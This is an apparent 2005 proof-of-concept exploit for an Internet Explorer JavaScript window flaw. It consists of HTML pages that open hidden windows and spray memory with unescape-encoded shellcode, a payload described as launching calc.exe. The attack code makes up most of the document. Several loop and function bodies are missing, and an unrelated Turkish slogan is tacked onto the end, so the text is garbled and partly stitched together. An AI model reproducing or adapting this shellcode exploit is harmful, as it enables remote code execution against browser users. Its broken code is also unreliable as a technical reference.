Microsoft Internet Explorer JavaScript Window - Proof Of Concept Author: Stuart PearsonComputer Terrorism www.computerterrorism.com21st November, 2005THE FOLLOWING PROOF OF CONCEPT IS PROVIDED EXCLUSIVELY FOR EDUCATIONAL PURPOSES ONLY, AND IS PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR COMPUTER TERRORISM MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE FITNESS OF THIS CODE FOR ANY PARTICULAR PURPOSE. PERMISSION TO USE, COPY, PRINT, AND DISTRIBUTE THIS DOCUMENT FOR EDUCATIONAL PURPOSES IS HEREBY GRANTED, PROVIDED THAT THE TEXTUAL CONTENT REMAINS INTACT AND UNMODIFIED.--><html><head><meta http-equiv="Content-Language" content="en-gb"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Computer Terrorism - Microsoft Internet Explorer Proof of Concept</title><script type="text/javascript">function runpoc {document. getElementById('table1'). rows . cells . innerHTML="<p align=center><B><font color=#339966 size=1 face=Arial> loading, please wait...</font></p>"document. getElementById('table1'). rows . cells . innerHTML=""document. getElementById('table1'). rows . cells . innerHTML=""document. getElementById('table1'). rows . cells . innerHTML=""document. getElementById('table1'). rows . cells . innerHTML=""top. consoleRef = open('blankWindow.htm','BlankWindow','width=1, height=1'+', menubar=0'+', toolbar=1'+', status=0'+', scrollbars=0'+', left=1'+', top=1'+', resizable=0')top. consoleRef. blur ;top. consoleRef. document. writeln('<html>'+'<head>'+'<title>CT</title>'+'</head>'+'<body onBlur=self. blur >'+'</body></html>')self. focus // Ensure the javascript prompt boxes are hidden in the backgroundfor (i=1 ; i <=iframecount ; i++) if( iframecount 8 ) if( iframecount 4 ) //+'<iframe width=1 height=1 border=0 frameborder=0 src=bug.htm></iframe>'//)}</script></head><body onLoad="self. moveTo(0,0);self. resizeTo ;"><p> </p><p> </p><table border="0" width="100%" id="table1"><tr><td><p align="center"><font color="#333333"><b><font size="1" face="Arial">Microsoft Internet Explorer JavaScript Window Proof of Concept</font></b></font></td></tr><tr><td width="98%" height="15"><p align="center"><b><font face="Arial" size="1" color="#333333">Select your operating system:-</font></b></td></tr><tr><td width="98%" height="10"></td></tr><tr><td width="98%" height="27" align="center"><p><b><font color="#339966" size="1" face="Arial">-</font><font color="#333333"><font color="#333333" size="1" face="Arial"> </font> </font><font color="#333333" size="1" face="Arial"><a href="#" onclick="javascript:runpoc(4)"><span style="text-decoration: none"><font color="#333333">Microsoft Windows XP </font></span></a><font color="#333333"> </font></font><font color="#339966" size="1" face="Arial"> -</font></b></td></tr><tr><td width="98%" height="22" align="center"><p><b><font color="#339966" size="1" face="Arial">-</font><font color="#333333"><font color="#333333" size="1" face="Arial"> </font> </font><font color="#333333" size="1" face="Arial"><a href="#" onclick="javascript:runpoc(8)"><span style="text-decoration: none"><font color="#333333">Microsoft Windows 2000/Universal </font></span></a><font color="#333333"> </font></font><font color="#339966" size="1" face="Arial"> -</font></b></td></tr><tr><td width="98%" height="15" align="center"></td></tr><tr><td width="98%" height="15" align="center"><b><font color="#339966" face="Arial" size="1">invokes calc. exe if successful</font></b></td></tr></table></body></html> <-- blankWindow.htm --><HTML><TITLE>Blank Window</title><body></body></html> <-- fillmem.htm --><HTML><HEAD><Script Language="JavaScript">function load {var spearson=0var eip = ""var prep_shellcode = ""var shellcode = ""var fillmem = ""//// Address called by the bug //for (spearson=1 ; spearson <=500 ; spearson++) //// Create a large chunk for memory saturation//for (spearson=1 ; spearson <=200; spearson++) //// Search for our shellcode and copy to a more stable area//prep_shellcode = unescape("%u9090%uBA90%u4142%u4142%uF281%u1111%u11 11%u4190" +"%u1139%uFA75%u9090%uF18B%uF88B%u9057%uc933%ub966" +"%u002d%ua5F3%u9090%u905f%ue7ff")//// Harmless Calc. exe//shellcode = unescape("%u5053%u5053%u9090%uC929%uE983%uD9DB%uD9 EE%u2474" +"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +"%uCC4A%uD0FF")fillmem = fillmem + prep_shellcode + shellcodeprompt(fillmem,"Computer Terrorism Ltd - Internet Explorer Vulnerability")}// --></Script> </head><TITLE>Windows Explorer Exploit</TITLE><body onload="setTimeout('load ',2000)">test test test</body></html> <-- bug2k.htm --><html><TITLE>Crash2</title><body onload="setTimeout('main ',20000)"><SCRIPT>function main </SCRIPT><br><br><br><br><br><br><center><FONT FACE=ARIAL SIZE 12PT>Please Wait!</FONT></center> <-- bug.htm --><html><TITLE>Crash2</title><body onload="setTimeout('main ',6000)"><SCRIPT>function main </SCRIPT><br><br><br><br><br><br><center><FONT FACE=ARIAL SIZE 12PT>Please Wait!</FONT></center> BEŞİKTAŞ bir gerilla"nın hayata itirazıdır, Susarsa ÇATIŞMA, Konuşursa SAVAŞ, Yazarsa DESTAN, Severse DEVRİM olur..